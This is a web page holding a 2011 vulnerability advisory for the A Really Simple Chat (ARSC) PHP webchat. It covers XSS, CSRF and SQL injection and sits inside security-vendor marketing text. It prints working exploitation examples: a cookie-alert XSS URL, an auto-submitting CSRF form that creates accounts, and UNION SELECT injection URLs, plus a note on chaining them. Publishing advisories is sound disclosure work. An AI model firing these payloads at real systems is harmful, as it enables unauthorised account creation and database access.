Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in A Really Simple Chat (ARSC)

Advisory ID:HTB22997
Product:A Really Simple Chat (ARSC)
Vendor:http://www.reallysimplechat.org/
Vulnerable Versions:3.3-rc2 and probably prior
Tested Version:3.3-rc2
Advisory Publication:May 12, 2011 [without technical details]
Vendor Notification:May 12, 2011
Public Disclosure:May 26, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
CVE References:CVE-2011-2180
CVE-2011-2181
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in A Really Simple Chat (ARSC) which could be exploited to perform cross-site scripting, cross-site request forgery and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in A Really Simple Chat (ARSC): CVE-2011-2180
1.1 The vulnerability exists due to input sanitation error in the "arsc_link" parameter in dereferer.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/base/dereferer.php?arsc_link=%22%3E%3Cscript%3Ealert%28documen t.cookie%29;%3C/script%3 E

2) Cross-site request forgery (CSRF) vulnerabilities in A Really Simple Chat (ARSC)
2.1 The vulnerability exists due to insufficient validation of the request origin in base/admin/add_user.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary accounts.
Exploitation example:
<form action="http://[host]/base/admin/add_user.php" method="post" name="main" />
<input name="arsc_newuser" value="test" type="hidden" />
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</scri pt>


3) SQL injection weakness in A Really Simple Chat (ARSC): CVE-2011-2181
The weakness exists due to input sanitation errors in the "user" parameter in base/admin/edit_user.php, in the "arsc_layout_id" in base/admin/edit_layout.php and in the "arsc_room" parameter in base/admin/edit_room.php. A remote user with administrative privileges can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Combined with vulnerability #2 it is possible for a remote attacker to create an administrative account and then use it to exploit this weakness.
Exploitation examples:
http://[host]/base/admin/edit_user.php?arsc_user=-1%27%20union%20select%201, version%28%29,3,4,5,6,7, 8,9,10,11,12,13,14,15%20--%202
http://[host]/base/admin/edit_layout.php?arsc_layout_id=-1%20union%20select% 201,version%28%29,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
http://[host]/base/admin/edit_room.php?arsc_room=%27%20union%20select%201,2, version%28%29,4,5,6,7%20 --%202

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22997 - https://www.immuniweb.com/advisory/HTB22997 - Multiple Vulnerabilities in A Really Simple Chat (ARSC)
[2] A Really Simple Chat (ARSC) - reallysimplechat.org - ARSC is a webchat system that uses PHP and MySQL and allows comfortable chatting with every browser on the surface of this planet, using JavaScript, frames HTML streaming for modern browsers down to a one-page reload-yourself version for text browsers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential